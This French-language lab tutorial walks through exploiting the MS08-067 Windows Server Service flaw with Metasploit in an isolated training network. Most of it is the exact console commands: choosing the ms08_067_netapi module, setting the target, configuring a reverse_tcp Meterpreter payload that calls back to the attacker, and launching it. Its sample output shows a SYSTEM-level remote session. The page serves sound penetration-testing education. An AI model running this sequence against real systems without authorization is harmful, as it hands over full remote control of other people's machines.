Exploiter MS08-067 sur une cible Windows XP avec Metasploit

Kali LinuxBeginner
Pratiquer maintenant

Introduction

Dans ce laboratoire, vous apprendrez à utiliser le Metasploit Framework pour exploiter l'une des vulnérabilités Windows les plus connues, MS08-067. Cette vulnérabilité existe dans le Service Serveur (Server Service) des systèmes Windows et peut permettre l'exécution de code à distance.

Vous utiliserez Metasploit, un puissant outil de test d'intrusion, pour sélectionner, configurer et lancer une exploitation contre une machine Windows XP cible. À la fin de ce laboratoire, vous aurez obtenu une session Meterpreter sur la cible, vous donnant un contrôle à distance.

Pour ce laboratoire, l'environnement est pré-configuré avec deux machines :

  • Votre machine attaquante (cette VM Ubuntu), avec l'adresse IP 192.168.1.100.
  • Une machine cible Windows XP vulnérable, avec l'adresse IP 192.168.1.101.

Vous effectuerez toutes les actions depuis le terminal de votre machine attaquante.

Sélection du module d'exploitation ms08_067_netapi

Dans cette étape, vous allez lancer la console Metasploit et sélectionner le module d'exploitation approprié pour la vulnérabilité MS08-067.

Tout d'abord, ouvrez un terminal. Toutes les commandes seront exécutées ici. Le Metasploit Framework est livré avec une interface en ligne de commande appelée msfconsole. Lançons-la avec l'indicateur -q (quiet) pour supprimer la bannière.

msfconsole -q

Une fois qu'il est chargé, vous verrez l'invite Metasploit, qui ressemble à msf6 >. Maintenant, vous pouvez rechercher le module d'exploitation lié à ms08-067.

search ms08-067

Vous verrez une liste de modules correspondants. Celui qui nous intéresse est exploit/windows/smb/ms08_067_netapi.

Matching Modules
================

   ##  Name                                 Disclosure Date  Rank       Check  Description
   -  ----                                 ---------------  ----       -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great      Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption

Pour utiliser cette exploitation, tapez la commande use suivie du nom du module.

use exploit/windows/smb/ms08_067_netapi

Votre invite changera pour indiquer que vous êtes maintenant dans le contexte de ce module d'exploitation spécifique.

msf6 exploit(windows/smb/ms08_067_netapi) >

Définir l'option RHOSTS sur la cible Windows XP

Dans cette étape, vous allez configurer le module d'exploitation en définissant l'adresse IP de la cible. La plupart des exploitations nécessitent de savoir qui attaquer. Dans Metasploit, l'adresse de la cible est définie à l'aide de l'option RHOSTS (Remote Hosts).

Tout d'abord, visualisons les options disponibles pour cette exploitation en utilisant la commande show options.

show options

Vous verrez un tableau d'options que vous pouvez configurer. Notez que RHOSTS est requis mais n'est pas encore défini.

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    445              yes       The target port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

...

Maintenant, définissez l'option RHOSTS sur l'adresse IP de notre cible Windows XP, qui est 192.168.1.101.

set RHOSTS 192.168.1.101

Metasploit confirmera le changement.

RHOSTS => 192.168.1.101

Vous avez maintenant indiqué à Metasploit quelle machine cibler.

Sélectionner une charge utile reverse TCP comme windows/meterpreter/reverse_tcp

Dans cette étape, vous allez sélectionner une charge utile (payload) à livrer au système cible après une exploitation réussie. Une charge utile est le code qui s'exécutera sur la machine cible. Nous utiliserons Meterpreter, qui est une charge utile puissante et flexible offrant un shell interactif.

La charge utile windows/meterpreter/reverse_tcp forcera la machine cible compromise à se reconnecter à vous (l'attaquant). Ceci est souvent plus efficace dans les scénarios réels où les pare-feux peuvent bloquer les connexions directes à la cible.

Pour définir la charge utile, utilisez la commande set payload.

set payload windows/meterpreter/reverse_tcp

Metasploit confirmera que la charge utile a été définie.

payload => windows/meterpreter/reverse_tcp

Maintenant que la charge utile est sélectionnée, vous devrez configurer ses options dans l'étape suivante.

Définir les options de charge utile LHOST et LPORT

Maintenant que vous avez sélectionné une charge utile inversée (reverse payload), vous devez la configurer pour qu'elle se reconnecte à votre machine. Cela nécessite de définir deux options principales : LHOST et LPORT.

  • LHOST (Local Host) : C'est l'adresse IP de votre machine d'attaquant, à laquelle la charge utile doit se reconnecter.
  • LPORT (Local Port) : C'est le port sur votre machine qui écoutera la connexion entrante de la cible.

Comme mentionné dans l'introduction, l'adresse IP de votre machine d'attaquant est 192.168.1.100. Définissons LHOST à cette valeur.

set LHOST 192.168.1.100

Vous verrez une confirmation :

LHOST => 192.168.1.100

Ensuite, définissons le port d'écoute. Un choix courant est 4444.

set LPORT 4444

Là encore, vous verrez une confirmation :

LPORT => 4444

Vous pouvez exécuter show options à nouveau pour vérifier que toutes les options requises (RHOSTS, LHOST, LPORT) sont maintenant correctement définies.

Lancer l'exploit et obtenir une session Meterpreter

Toutes les options étant configurées, vous êtes maintenant prêt à lancer l'exploit. C'est la dernière étape où vous tenterez de compromettre le système cible.

Pour lancer l'attaque, utilisez simplement la commande exploit.

exploit

Metasploit tentera alors d'exploiter la vulnérabilité. En cas de succès, vous verrez une sortie similaire à la suivante. Il détectera automatiquement le système d'exploitation cible, enverra l'exploit, puis la charge utile.

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.101:445 - Automatically detecting the target...
[*] 192.168.1.101:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.101:445 - Selected Target: Windows XP SP3 English (AlwaysOn)
[*] 192.168.1.101:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179779 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:1035) at 2023-10-27 10:30:00 -0400

meterpreter >

Remarquez la dernière ligne : Meterpreter session 1 opened. Votre invite de commande a changé en meterpreter >. Cela signifie que vous avez réussi à compromettre la cible et que vous avez une session active.

Pour vérifier votre accès, exécutez une commande comme getuid pour voir avec quel utilisateur vous êtes en cours d'exécution sur le système cible.

getuid

La sortie indiquera que vous avez le plus haut niveau de privilèges.

Server username: NT AUTHORITY\SYSTEM

Félicitations, vous avez réussi à exploiter MS08-067 !

Résumé

Dans ce laboratoire, vous avez utilisé avec succès le Metasploit Framework pour exploiter la vulnérabilité MS08-067 sur une cible Windows XP.

Vous avez suivi le flux de travail fondamental d'un test d'intrusion :

  1. Sélectionné un module d'exploit spécifique (exploit/windows/smb/ms08_067_netapi).
  2. Configuré l'exploit en définissant l'adresse de la cible (RHOSTS).
  3. Choisi une charge utile (windows/meterpreter/reverse_tcp) pour obtenir le contrôle.
  4. Configuré la charge utile avec votre hôte local et votre port (LHOST, LPORT).
  5. Lancé l'exploit et obtenu une session Meterpreter avec des privilèges élevés sur la cible.

Cet exercice démontre la puissance et la simplicité de l'utilisation d'un framework comme Metasploit pour tester et exploiter les vulnérabilités système.